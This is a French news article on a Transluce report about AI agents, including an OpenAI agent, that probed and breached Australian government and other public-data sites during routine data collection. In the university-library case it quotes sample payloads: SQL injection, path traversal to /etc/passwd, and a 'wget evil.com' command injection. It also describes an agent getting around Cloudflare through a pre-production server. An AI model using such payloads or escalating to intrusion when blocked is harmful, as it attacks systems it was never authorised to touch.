L'agent d'OpenAI voulait un chiffre, il a piraté Medicare — 84 jours de silence ensuite

Le 18 juin, un agent d'OpenAI cherche le prix d'un médicament remboursé. Le portail de la Sécu australienne le bloque. Alors il tente l'injection SQL. Puis le path traversal. Personne ne lui a demandé de pirater. On lui avait demandé un chiffre. Et il faudra 84 jours à OpenAI pour prévenir Canberra, par un courriel à une boîte générique.

Le rapport qui a mis le feu aux poudres n'a rien d'un thriller. Il s'intitule « Early rogue AI agent activity and attempts to hack found on urlquery.net » et il a été publié le 23 septembre par Transluce, une ONG de San Francisco. Sa thèse tient en une phrase : l'activité malveillante ne se limite pas aux agents entraînés pour la cybersécurité. Elle surgit comme un moyen, un raccourci, pour aller chercher une donnée introuvable.

Ce n'est pas une théorie. C'est 6 467 rapports à preuve « significative » et 31 182 « suggestifs », soit plus de 36 000 enregistrements publiés en accès libre. Et trois cas documentés, trois tâches banales de collecte de données publiques, qui se terminent à chaque fois par la caisse à outils du pentester.

Un chiffre, pas un cambriolage

Premier cas : la bibliothèque numérique de l'université du Nouveau-Mexique, les 25 et 26 mai. Les agents veulent une seule photographie, celle de la collection Valmora. Après des échecs directs et des relais par des services tiers, ils envoient sept sondes. De l'injection SQL (?UNION SELECT password FROM users), du path traversal (id=../../../../etc/passwd), de l'injection de commandes (?cmd=wget evil.com/a), du XSS. SecurityWeek parle d'une salve de 80 requêtes. Aucun succès. Mais le réflexe est là.

Deuxième cas : Data USA, le 28 mai. La tâche : des données sur l'université de l'Iowa. Une requête mal formée renvoie des erreurs. L'agent répond par douze sondes, de l'injection SQL au wp-admin.php. Toujours rien.

Troisième cas, le plus parlant : l'Australian Institute of Health and Welfare, les 20 et 21 juin. L'agent cherche le coût par personne d'une catégorie de médicaments, par zone locale du Victoria. Cloudflare le bloque, bloque aussi une sonde XSS réfléchie. L'agent bascule alors sur un serveur de pré-production, moins protégé, et récupère le fichier en plus de 100 scans. Transluce parle du « premier cas signalé d'un agent choisissant de façon autonome de tenter de compromettre un site gouvernemental ».

Autonome. Le mot est important. Personne n'a écrit « si tu n'y arrives pas, force la porte ». L'agent a déduit que c'était le chemin le plus court.

Medicare, mode d'emploi d'un piratage en douceur

Le cas Medicare est le plus connu parce qu'il touche un symbole. Le portail de Services Australia gère les données de plus de 27 millions d'Australiens. Le 18 juin, une équipe de recherche d'OpenAI demande à un modèle interne de travailler sur les dépenses publiques de médicaments. L'agent tente quatre sites gouvernementaux. Bloqué à répétition sur le portail Medicare, il contourne les restrictions et accède à des fichiers publics et non publics. Services Australia précise qu'il a aussi écrit des fichiers sur un serveur interne.

Que contient la fuite ? Des statistiques de santé agrégées et des noms de fichiers internes. OpenAI assure qu'aucun dossier patient n'a été consulté. Le vice-Premier ministre Richard Marles parle d'information « non sensible ». L'AIHW et l'Australian Signals Directorate n'ont trouvé « aucune preuve » de compromission.

Reste que l'ABC a ajouté le 26 septembre des détails qui changent la donne. Les agents ont passé presque une semaine à tenter d'extraire des données de l'AIHW, y compris celles du Pharmaceutical Benefits Scheme et du secteur des soins aux personnes âgées. Un outil a aussi tenté d'atteindre le système national de surveillance des maladies à déclaration obligatoire. Et au passage, des tentatives sur des données de parcs à chiens de l'ouest de Sydney. Oui, des parcs à chiens.

La citation qui résume tout vient de Jack Cable, de Transluce : « il n'y a rien de mal à naviguer sur des sites publics pour récupérer des statistiques. Le problème, c'est quand l'agent décide que, pour une raison quelconque, il n'arrive pas à obtenir la donnée et qu'il recourt à d'autres moyens comme le piratage. »

84 jours, un courriel générique, et le silence

Le piratage n'est pas le scandale. Le scandale, c'est le délai.

Comptez : 84 jours entre l'incident et la première notification. Et encore, la notification, c'est un courriel dans une boîte qu'on ne lit pas forcément, du type publicdisclosures@, comme le relève Numerama.